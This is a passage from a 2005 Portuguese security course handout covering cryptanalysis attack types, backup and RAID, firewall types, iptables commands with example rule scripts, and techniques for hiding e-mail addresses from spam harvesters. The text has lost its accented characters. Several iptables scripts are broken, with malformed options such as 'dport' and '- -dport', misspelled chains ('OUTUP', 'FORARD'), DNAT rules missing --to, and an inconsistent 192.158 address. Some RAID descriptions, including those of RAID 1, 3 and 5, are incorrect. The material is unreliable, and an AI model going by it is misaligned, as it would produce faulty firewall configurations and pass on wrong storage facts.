1) Ataque de texto conhecido - Baseia-se na suposio de uma vasta quantidade de textos cifrados e das mensagens originais, a que a funo do especialista, criptoanalista, descobrir as chaves utilizadas; 2) Ataque adaptativo do texto escolhido (adaptative choosen plaintext) Neste segundo caso, ele submete pequenos conjuntos de dados, obtm o resultado, analisa, fornece um novo conjunto e assim sucessivamente, at que seja capaz de deduzir as chaves. 3) Ataque do texto cifrado escolhido (choosen cyphertext) o especialista possui uma vasta gama de mensagem e os equivalentes dados cifrados, mas capaz de produzir uma mensagem criptografada especfica para ser decifrada e obter o resultado produzido.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 21 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

5) Backup
atravs do processo de backup que podemos garantir a segurana de vrios tipos de dados. Este processo consiste em realizar uma cpia total ou parcial de forma on-line ou off-line dos dados armazenados nas estaes de trabalho e/ou nos servidores de um determinado ambiente. Contudo, dependendo as caractersticas do ambiente e das necessidades presentes do mesmo o processo de backup pode variar largamente, deste modo, se faz necessrio o uso de critrios para determinar a melhor forma para sua realizao. Deste os critrios que podem influenciar o processo de backup so: 1. A quantidade de dados a serem protegidos; 2. A freqncia com que os dados devem ser copiados; 3. Tempo de realizao do backup e do restore dos dados; 4. A confidencialidade fornecida pelo processo; 5. O custo do processo e o valor das informaes; 6. O prejuzo gerado pela perda parcial ou total dos dados.

5.1) Meios de armazenamento:


Definida as necessidades bsicas a serem atendidas devemos selecionar um do tipos de armazenamento, que podem ser: on-line, Prximos e off-line. As mdias de armazenamento on-line, consiste em discos rgidos ou arrays de discos. Estas mdias fornecem uma disponibilidade em tempo real e so normalmente utilizados para fornecer uma forma altrnativa de armazenamento. Estas mdias no substituem os backups offline; O armazenamento prximo formado por Jukeboxes ticos e cpias locais, que esto rapidamente acessveis, normalmente fazem uso de robos para gerenciarem as mdias fornecendo um acesso rpido aos dados quando o servio on-line no est disponvel; J o armazenamento off-line consiste no arquivamento de mdias fora da rede de dados em um local seguro e protegido contra roubo, catstrofes naturais e outros ameas. Sempre que possvel as mdias devem ser armazenadas em local geogrficamente diferente e fora das instalaes comerciais da empresa. Para a realizao deste tipos de backup podem ser utilizadas trs tipos de mdias diferentes: fitas/discos magnticos, armazenamento tico e arrays de disco.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 22 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

As fitas magnticas so as mdias mais comuns, mais baratas utilizadas nos backups off-line, mas por outro lado so as mais lentas e que ocupam um grande espao. Seus principais tipos so: 8mm, Travan, DLT, DAT e Magstar O armazenamento tico muito popular em ambientes onde a velocidade e a confiabilidade so as maiores preocupaes, estes ambientes fazem uso de servidores com jukboxes ticos de alta disponibilidade que so solues caras porem muito eficientes. Os arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) so um subsistema de discos rgidos que melhoram o desempenho e a tolerncia a falhas, uma vez que os dados so gravados em mais de um disco ao mesmo tempo. Estas solues podem ser tanto implementadas em software quanto em hardware. Neste caso quando uma unidade de disco falha o administrador do sistema pode substitui-la, em alguns casos, sem parar o funcionamento do servidor. Os principais tipos de RAID so:

RAID 0 : este nvel realiza um join dos discos, ou seja, ele combina todos os discos em uma nica unidade lgica, til quando desejamos aumentar a capacidade de armazenamento de dados; RAID 1: realiza o espelhamento de um disco em um outro, nesta soluo um dos discos fica inativo, apenas recebendo os dados do disco mestre at que ele falhe. Este nvel oferece uma boa tolerncia a falhas, visto que ao ocorrer a falha de um disco os usurios so automaticamente redirecionados para o antigo disco escravo; RAID 3: tambm implementa um espelhamento s que neste caso trs ou mais unidades de disco so espelhadas em uma outra, este nvel tambm fornece tolerncia a falhas, uma vez que grava os bits de paridade em uma unidade dedicada e permite que os discos trabalhem em paralelo, fornecendo assim alto nvel de desempenho; RAID 5: esta faz uso de trs unidades, em duas so armazenados os dados e na terceira os bits de paridade, sendo esta a soluo mais utilizada; RAID 10: a combinao do RAID 1 e 0, ou seja, espelhamento e intercalao entre unidade de disco.
_ _ _ _ _

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 23 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

A soluo de RAID fornece um melhor desempenho e tolerncia a falhas, mas de forma alguma substituir o processo de backup off-line. Vale lembrar que dois ou mais discos podem falhar ao mesmo tempo, perdendo o acesso total aos dados armazenados no array. Outra soluo de proteo aos dados o HSM (Hierarchical Storage Management), que um sistema automatizado para o gerenciamento de dados e espao em disco, muito utilizado em mainframes. Esta soluo monitora a capacidade das unidades e move os dados para as mdias de armazenamento prximo ou offline, mais lentas. O HSM pode mover os dados segundo sua idade, freqncia de uso ou baseado em outros critrios, permitindo deste modo uma migrao de dados automtica. Esta soluo relativamente cara e difcil de ser implementada. J as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade de armazenamento, graas ao uso de um canal de fibra (fiberchannel), permite uma conexo de alta velocidade e implementa uma subrede de armazenamento, com isto libera a rede de produo do peso do backup de dados e economiza largura de banda . Alm disto oferecem alta velocidade, confiabilidade e gerenciamento centralizado. Por outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidores de arquivos, visto que esto conectados diretamente a rede ethernet e possuem sistemas operacionais embutidos nos equipamentos. Esta estrutura uma alternativa a incluso de unidades de dados nos servidores. Para garantir a segurana dos dados estes equipamentos implementas um dos nveis de RAID estudados anteriormente, mas backups de grades volumes de dados podem afetar a velocidade da rede. Esta soluo relativamente barata, simples e possui grande compatibilidade entre fornecedores.

5.2 ) Tipos de backup quanto ao perodo de execuo e volume de dados


Dependendo de sua periodicidade o processo de backup pode ser nomeado como: Backup Completo: realiza uma cpia de todos os dados para a mdia, no importando o contedo do ltimo backup. Este tipo de backup normalmente possui periodicidade semanal;
_

Backup Incremental: salva os arquivos que foram alterados desde o ltimo backup. Neste processo o novo arquivo armazenado na mdia e o arquivo original no removido da mdia. No processo de restaurao devemos ter o ltimo backup completo e dos os backups incrementais desde ento. Este tipo de backup possui periodicidade
_

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 24 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

diria ou menor; Backup Delta: S faz a cpia dos dados reais que foram modificados nos arquivos, um processo de backup mais rpido e que ocupa menos espao nas mdias de backup, contudo o processo de restaurao mais lento e complexo. Tambm possui periodicidade diria ou menor; Backup Diferencial: Copia todos os arquivos que foram alterados desde o ltimo backup completo, por este motivo ocupa mais espao nas mdias de backup e mais lento de ser gerado, contudo mais fcil de recupera-lo, sua execuo preferencialmente deve ser diria ou em intervalo menor. Para restaurar os dados a partir deste tipo de backup deve-se ter em mos apenas o ltimo backup completo e o ltimo backup diferencial
_ _

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 25 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6) Firewall
Vrias pesquisas mostraram que a Internet o principal ponto utilizado para realizar invases. Em 2002, segundo uma pesquisa feita pela mdulo, 43% das empresas sofreram algum tipo de ataque ou invaso. Em 2003, esta valor subiu para 77%. E os hackers brasileiros so internacional considerados como os melhores do mundo. Outro fator importante que ... quanto mais tempo ficamos conectados internet, maiores so as chances de sermos invadidos ou infectados por malwares .... Isto tudo pois o Ipv4, verso atualmente em uso da pilha de protocolos TCP/IP, no foi projetado para assegurar a integridade das informaes e realizar o controle de acesso apropriado. Deste modo, a forma preferida de se violar uma rede tem sido o uso de pequenas falhas na implementao de servios e protocolos baseados no TCP/IP.

6.1) O papel do Firewall no contexto atual das redes de computadores


A principal funo de um firewall proteger os dados da rede interna, aquela que no est conectada a internet, de ataques vindos da rede externa, normalmente a internet. Ou seja, tem por objetivo impedir acessos lgicos no autorizados a um determinado ambiente. Neste modelo, o firewall geralmente a nica mquina diretamente conectada a rede externa, mas cada n da rede pode e deve ter seu prprio firewall ativo, mas neste caso sua funcionalidade est restrita a proteo local, incluindo possveis infeces e proliferaes de malwares na rede interna. Outro uso freqente dos firewalls ser utilizado para filtrar quem pode acessar mquinas da rede interna a partir da internet, este tipo de filtragem normalmente baseada no endereo IP a origem da conexo e em alguns casos em seu Mac Adress.

6.2) Histrico
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 26 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6.3) Tipos de Firewall


Existem vrias classificaes para os firewalls, contudo as mais comuns so: Filtro de Pacotes, Firewall NAT e Hbridos.

Os filtros de pacotes, realizam o controle de todo fluxo de dados direcionado ao host. Atravs da anlise dos cabealhos dos pacotes nos vrios nveis da arquitetura de rede so capazes de comparar seus contedos com regras de controle de acesso (ACLs) prviamente definidas e ento liberar ou no determinado fluxo de dados. J um firewall NAT manipula a rota padro de pacotes que atravessam o kernel do host, ele realiza a traduo dos endereos de origem, de destino e algumas vezes pode inclusive realizar um redirecionamento de porta. Este firewall pode ser classificado como: SNAT, DNAT e Masquerading. Um firewall SNAT normalmente utilizado para fornecer acesso a uma rede privada apartir de um ou vrios endereos IP fixo. J o Masquerading realiza a mesma funo s que sobre endereos . E um firewell baseado em DNAT pode ser utilizado na construo de uma DMZ ou de um cluster de servidores. O terceiro tipo de firewall seria o hbrido, que aquele que realiza tanto filtragem de pacote quando redirecionamento (NAT). Outra forma de classificao dos firewall quanto sua forma de atuao dentro da pilha RM/OSI, neste caso os firewalls podem ser classificados como de Rede ou Gateways de Aplicativos. Os Firewalls de nvel de Rede so na verdade roteadores com grande capacidade de filtragem de pacote, permitem que haja uma restrio a nvel de endereo, protocolo, nmero da porta e contedo. So fcil implementao, porm quando mal configurados esto sujeitos a ataques do tipo spoofing. Mas a filtragem normalmente impacta o processo de roteamento, de modo que podemos afirmar que: o desempenho do roteador inversamente proporcional ao nvel de filtragem imposta J os firewalls gateways de aplicativo, normalmente funcionam como pontes entre duas redes, os pacotes provenientes de fora da rede passam primeiro pelo gateways, que age como um filtro escondendo assim a rede interna. Todos os tipos de firewall possuem suas limitaes, o de nvel de rede possui uma viso muito limitada do que realmente acontece na rede. J os gateways de aplicativo tem um conhecimento maior sobre a aplicao, porm so solues especficas para cada aplicativo. Um dos firewalls de aplicativos
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 27 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

mais conhecido o SQUID, que foi projetado para manipular os protocolos HTTP, HTTPS e FTP.

6.4) IPTABLES: O firewall do Linux


Este software a quarta gerao de firewall no Linux e permite a realizao da filtragem dos pacotes nas sete camadas da RM/OSI, funcionando ainda como um firewall hbrido. As ACL utilizados por ele esto todas armazenadas em memria, processo este que acelera os mecanismos de filtragem e redirecionamento. O iptables um dos poucos firewalls em software totalmente implementado no kernel do sistema operacional, garantindo assim maior nvel de segurana a filtragem.

6.4.1) As tabelas o .iptables.

Para facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas, cada qual com um funo especfica. As principais tabelas do iptables so: filter : responsvel pela filtragem de todos os pacotes que passam pelo host, no importando origem e destino; nat : responsvel pelo controle dos pacotes que passam pelo host, mas cuja origem ou destino no o mesmo. Esta tabela utilizada quando desejamos utilizar o iptables para construir gateways de borda. mangle : permite alterar caractersticas especficas do pacote, como por exemplo: o TOS (Tipo de Servio) o que permite implementar um sistema simples de QOS ( qualidade de servio).
_ _ _

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 28 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6.4.2) Fluxos do .iptables.


O iptables permite manipular vrios fluxos dependendo da tabela utilizada, sendo que a tabela filter possui os seguintes: INPUT : fluxo formado pelos pacotes cujo endereo de destino o prprio host; OUTPUT : fluxo dos pacotes originados pelos aplicativos e servios hospedados no host; FORWARD: fluxo composto por todos os pacotes que chegam ao host mas que so destinados a outra mquina, que normalmente est na rede interna ou na DMZ. Logo este fluxo utilizado para permitir a realizao do NAT; A tabela nat por sua vez possui os seguintes fluxos: PREROUTING : que permite realizar alteraes nos pacotes antes que eles sejam roteados; POSROUTING : permite manipular os pacotes aps seu processo de roteamento; OUTPUT : possibilita o redirecionamento dos pacotes que foram emitidos pelo host; J a tabela mangle possui os fluxos: PREROUTING E OUTPUT.
_ _ _ _ _ _

6.4.3) Comandos do .iptables.


Para a manipulao das ACLs armazenadas nas suas tabelas o iptables fornece os seguintes comandos: -A : adiciona uma nova regra no final da lista de regras de uma dada tabela; -L : lista todas as regras de uma determinada tabela; -P : define a poltica padro uma tabela, ou seja a regra padro que ser aplicada a um fluxo quando ele passar por todas as demais;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 29 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

-F : remove todas as regras de uma tabela sem alterar sua poltica padro; -N : cria nova nova chain na tabela especificada; -X : apaga todas as chains de uma determinada tabela;

6.4.4) Aes do .iptables.


As aes permitem categorizar melhor as ACLs, fornecendo um tratamento mais detalhado sobre quais pacotes devero ser manipulados. As principais aes fornecidas pelo iptables so listadas abaixo: -p : especifica qual protocolo ser manipulado (TCP, UDP ICMP, etc..); -i : especifica a interface pela qual o pacote deve entrar (eth0, eth1, ppp0, ppp+); -o : especifica a interface pela qual o pacote deve sair (eth0, eth1, ppp0, ppp+); -s : informa a origem do pacote, este valor pode ser um endereo ip (192.168.254.15), pode ser uma classe ip (192.168.254.254/24), pode ser um nome de maquina (ftp.cyberoots.com.br) ou um domnio ( cyberoots.com.br ); --sport : informa a porta a partir da qual o pacote ser enviado, porta de origem; -d : informa o destino do pacote; --dport : informa a porta de destino do pacote; -j : informa o de deve ser feito com o pacote, ou seja o alvo da regra.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 30 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6.4.5) Alvos da regras


Quando um fluxo se enquadra em todos os quesitos especificados por uma regra, ele poder entrar na mquina, ser rejeitado ou outras aes podero ser realizadas, a estas aes damos o nome de alvo da regra ou fluxo. Os principais alvos implementados pelo iptables so: ACCEPT : permite a entrada ou a sada ou o forward do pacote; DROP : descarta o pacote, sem comunicar a origem que o mesmo foi rejeitado, ideal para ocultar a existncia do firewall; REJECT : descarta o pacote informando a origem que ele foi rejeitado pelo destino; LOG : registra o pacote em um arquivo de log que pode ser especificado atravs dos nveis de log do sistema, mas por default as mensagens so enviadas para o arquivo /var/log/messages; SNAT : altera o endereo de origem do pacote que atendeu as caractersticas especificadas; DNAT : altera o endereo de destino do pacote; REDIRECT : redireciona o pacote para uma porta diferente.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 31 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6.4.5) Exemplos de scripts de Firewall


(a) Firewall para bloquear todo o fluxo de dados s liberando o fluxo na interface lo
# # definindo as regras padro # iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP # # liberando a interface lo # iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT

(b) Firewall para liberar o acesso no servidor web aos protocolos http e https:
# # definindo as regras padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # definindo as regras de filtragem ao HTTP e HTTPS # iptables -A INPUT -p tcp dport 80 -j ACCEPT iptables -A INPUT -p tcp dport 443 -j ACCEPT

(c) Firewall para liberar o acesso servio http, para acesso externo ( eth1) e acesso pela intranet (eth0) na porta 8080.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 32 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
# # definindo as regras padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # definindo as regras de filtragem ao HTTP e HTTPS # iptables -A INPUT -p tcp dport 80 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 443 -i eth0 -j ACCEPT

(d) Firewall para um servidor que hospeda os servios: http (80), https (443), imap (143), pop3 (110), smtp (25), ftp (21), ssh (22). De tal modo que, todos os servios possam ser acessados pela intranet (eth1) e os nicos servios que podem ser acessados pela internet (eth0) so o http e o https.
#

# definindo as regras padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # liberando acesso pela internet (eth0) # iptables -A INPUT -p tcp dport 80 -i eth0 -j ACCEPT iptables -A INPUT -p tcp dport 443 -i eth0 -j ACCEPT # # liberando acesso pela internet (eth1) # iptables -A INPUT -p tcp dport 80 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 443 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 143 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 110 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 25 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 21 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 22 -i eth1 -j ACCEPT

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 33 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

(e) Firewall para um servidor que: proiba que qualquer pacote oriundo de nossa LAN (192.168.254.0/24) possa ser direcionado ao site www.sexo.com.br; proiba que qualquer pacote oriundo do host www.cracker.com possa penetrar na nossa rede; permitir a entrada de pacotes oriundos do site www.cyberoots.org.br na nossa rede; todos os pacotes oriundos da interface eth1 do firewall devem ser redirecionados para o computador 192.168.254.254; todos os pacotes que desejam sair (eth0) da rede local para outra rede, tenham seus endereos de origem alterados para 146.164.32.90; todos os pacotes que tentam entrar na rede por uma interface diferente da eth0 devem ser descartados; o mesmo deve ocorrer com qualquer pacote que tente sair por uma interface diferente da eth2; descarte todos os pacotes oriundos do ip 200.255.96.171 e destinado ao IP 192.168.254.7; todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormente descartados;
_ _ _ _ _ _ _ _

# poltica padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # liberando o trfego na interface lo # iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # # pacotes que entram no firewall # iptables -A INPUT -p tcp - -dport 23 -j LOG [firewall] acesso ao servio de telnet iptables -A INPUT -p tcp - -dport 23 -j DROP # # regras de forward # iptables -A FORWARD -s 192.158.254.0/24 -d www.sexo.com.br -j DROP iptables -A FORWARD -d 192.158.254.0/24 -s www.cyberoots.org.br -j ACCEPT iptables -A FORWARD -s 200.255.96.171 -d 192.168.254.7 -j DROP iptables -A FORWARD -i ! eth1 -j DROP iptables -A FORWARD -o ! eth0 -j DROP # # regras de nat # iptables -t nat -A PREROUTING -i eth1 -j DNAT 192.168.254.15 iptables -t nat -A POSTROUTING -o eth1 -j SNAT 192.168.254.1

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 34 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6.4.6) Alguns Fluxos de NAT

Para acessos internet atravs de uma conexo discada ou banda larga, que no fornece endereo fixo podemos utilizar a regra abaixo:
iptables -t nat -A POSTROUTING -o ppp -j MASQUERADE

J para conexo internet atravs de um endereo IP fixo e conhecido podemos utilizar uma regra como a que est abaixo:
iptables -t nat -A POSTROUTING -s 10.10.0.0/24 -o eth0 -j SNAT - -to 146.164.32.67 Outra regra muito comum aquela usada para redirecionar uma conexo vinda da internet para a DMZ, como mostra a figura abaixo: iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 10.10.0.1

6.4.7) Regras e configuraes teis


a) Habilitando o forward no kernel do Linux Para permitir que o iptables instalado em uma distribuio Linux faa forward de pacotes esta funcionalidade deve estar ativa no kernell do sistema, para tal podemos utilizar a seguinte linha de comando:
echo 1 > /proc/sys/net/ipv4/ip_forward Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 35 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 do comando a cima, ou seja :
echo 0 > /proc/sys/net/ipv4/ip_forward

b) Qualquer pacote cuja origem o host 10.0.3.1 dever ter seu endereo de origem alterado para 192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.1 -o eth0 -j SNAT - -to 192.11.22.33

c) Qualquer pacote cuja origem a rede 10.0.3.0/8 deve ter seu endereo de origem alterado para 192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33

d) Qualquer pacote cuja origem a rede 10.0.3.0/8 que sai pela interface eth0 deve ter seu endereo de origem alterado para qualquer um do intervalo 192.11.22.33-192.11.22.66:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33-192.11.22.66

e) Qualquer pacote que venha do host 10.0.3.1 e entre na mquina pela interface eth0 deve ser redirecionado para o endereo 192.11.22.33:
iptables -t nat -A PREROUTING -s 10.0.3.1 -i eth0 -j DNAT - -to 192.11.22.33

f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereos do intervalo: 192.11.22.10 at 192.11.22.33:
iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192.11.22.10-192.11.22.33

g) Todos os pacotes que entram pela interface eth2 e so destinados a porta 22 deve ser redirecionados para o host 192.11.22.1:
iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 192.11.22.1

h) Criando um proxy transparente :


iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128 iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128 iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128 Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 36 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6.4.8)Firewall a ser utilizando em um bastio


# # definindo as regras padro # iptables -P INPUT DROP iptables -P OUTUP ACCEPT iptables -P FORARD DROP # # liberado o loopback # iptables -A INPUT -i lo -j ACCEPT #

# filtando os pacotes # iptables -A INPUT -p tcp - -dport 22 -j ACCEPT iptables -A FORWARD -d 10.10.0.0/24 -j ACCEPT iptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 10.10.0.1 iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 10.10.0.1 iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 10.10.0.2 iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 10.10.0.3

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 37 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

6.4.9) Firewall para compartilhamento do Acesso a Internet


# # libera forward no kernel # echo 1 > /proc/sys/net/ipv4/ip_forward # # Poltica padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # liberando acesso a interface lo # iptables -A INPUT -i lo -J ACCEPT # # libera a entrada de conexes iniciadas pela mquina # iptables -A INPUT -m state - -state ESTABLISHED,RELATED -j ACCEPT # # bloqueia entrada na rede de conexes invlidas # iptables -A FORWARD -m state - -state NEW,INVALID -j DROP # # hablitando o macascaramento com ip dinmico # iptables -t nat -A POSTROUTING -s 192.168.254.0/24 -o eth0 -j MASQUERADE # # libera a entrada de conexes iniciadas pela rede # iptables -A FORWARD -o eth0 -m state - -state ESTABLISHED,RELATED -j ACCEPT # # habilita o forward vinda da rede interna # iptables -A FORWARD -i eth1 -s 192.168.254.0/24 -J ACCEPT

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 38 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

7) SPAM
O SPAM, prtica to comum nos dias atuais, tem se tornado um problema para a maioria dos administradores de sistemas, desenvolvedores e usurios de internet, mas a medida que os filtros anti-spam evoluem as tcnicas utilizadas para burlar os filtros se desenvolvem mais rpido ainda. Uma tcnica que tem surtido efeito o uso da heurstica, mas seu ponto fraco apresentar uma grande quantidade de falsos positivos. Mas uma coisa certa muito administradores esto ajudando os inimigos, principalmente aqueles que devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existncia daquele e-mail. Mas alguns administradores esto fazendo sua parte, uma das medidas adotadas a adoo de

servidores de SMTP que requerem a autenticao dos usurios antes de enviar o e-mail seu destinatrio. A seguir sero apresentadas algumas tcnicas que podem ser utilizadas para minimizar a ao dos spammer.

7.1) Protegendo os endereos de e-mail


Segundo pesquisa realizada pelo Center for Democracy and Technology (CDT), uma das principais fontes de endereos de e-mail para os spammer so os websites que esto disponveis e que no requerem autenticao. Neste contento alguns acham interessante excluir os e-mail das pginas impediando este tipo de coleta por parte dos spanner, mas como os verdadeiros usurios tero acesso a eles. O que deve ser implementado uma forma de evitar que os spanner possam utilizar seus robos para coletarem de forma automtica estes endereos nos websites. O funcionamento destes robos garimpeiros se baseia em encontrar algumas palavras ou caracteres chaves nas pginas da internet, das quais pode-se estacar mailto, @, mail, email e etc. A aqueles que fazem uso de algum sistema operacional UNIX-Like, como o Linux, podem construir seu prprio scanner de e-mail com alguns comandos ( wget, tr, send, sort, cat e uniq). Mas nem tudo est perdido, vrias so as tcnicas que camuflagem que podem ser utilizadas a mais simples, podem a mais problemtica para o usurio utilizar um e-mail falso como por exemplo: suporte@remova-esta-parte.cyberoots.com.br, apesar de ser eficiente esta tcnica pode complicar a vida do usurios mais leigos, que tambm no sabero distinguir qual a parte vlida do endereo.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 39 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Outra forma de se proteger inserir no cdigo html o e-mail utilizando os caracteres codificados e no os caracteres em s, por exemplo no lugar de usuario@exemplo.com.br deveramos utilizar:
usuari@exemp&#1 08;o.com.br

Todos os navegadores existentes conseguem interpretar estes caracteres codificados, mas os robos utilizados pelos spammer no possuem ferramentas para interpretar estes caracteres, no ainda. Outra tcnica que pode ser utilizada so os java scripts, que tambm no so interpretados pelos robos, podemos por exemplo usa a funo documment.writer() para escrever o contedo do e-mail, que permitir aos usurios visualizarem o endereo mas que iro confundir as sondas de coleta, ainda neste sentido podemos colocar o endereo de e-mail em um arquivo externo. A criptografia tambm pode nos ajudar, uma forma bem simplria de resolver o problema utilizar a funo XOR da lgica matemtica para esconder o contedo do texto no cdigo e utilizar o java script para realizar a decodificao do endereo. Mesmo sem uma forma fraca de criptografia ela muito eficientes contra os robos dos spammers. Mas os clientes que no possuem o java script habilitado no podero visualizar o endereo de e-mail, contudo a grande maioria dos navegadores j possuem suporte a java script, basta ento solicitar ao usurio que o habilite em seu navegador. Mas quem falou que e-mail tem que ser representado na forma de texto puro? Se utilizarmos uma

figura contendo o endereo de e-mail, como a maioria dos robos no verificam o contedos das figuras o endereo passar desapercebido. Todavia tambm podemos utilizar uma animao flash para a mesma finalidade, mas o flash nem sempre est instalado na mquina do visitante e ele ainda no foi portado para todas as plataforma que suportam o uso de navegadores web. Entretanto se o motivo de se expor o endereo de e-mail para que os visitantes possam entrar em contato, podemos trocar este endereo por um formulrio simples que pode ser usado para a mesma finalidade. Mas se seu objetivo descobrir quem est garimpando seu site atrs de endereo de e-mail, crie endereos de e-mails dinmicos, atravs de java script, de tal modo que ele contenha a data, hora e endereo ip de quem est acessando a pgina, logo ao receber um e-mail para endereos invalidos seu servidor de e-mail pode repass-los para uma conta especial que o administrador dever monitorar, com isto ser possvel determinar quem ou de onde os robos esto sendo disparados.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 40 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

8) Analisando e varrendo a Rede


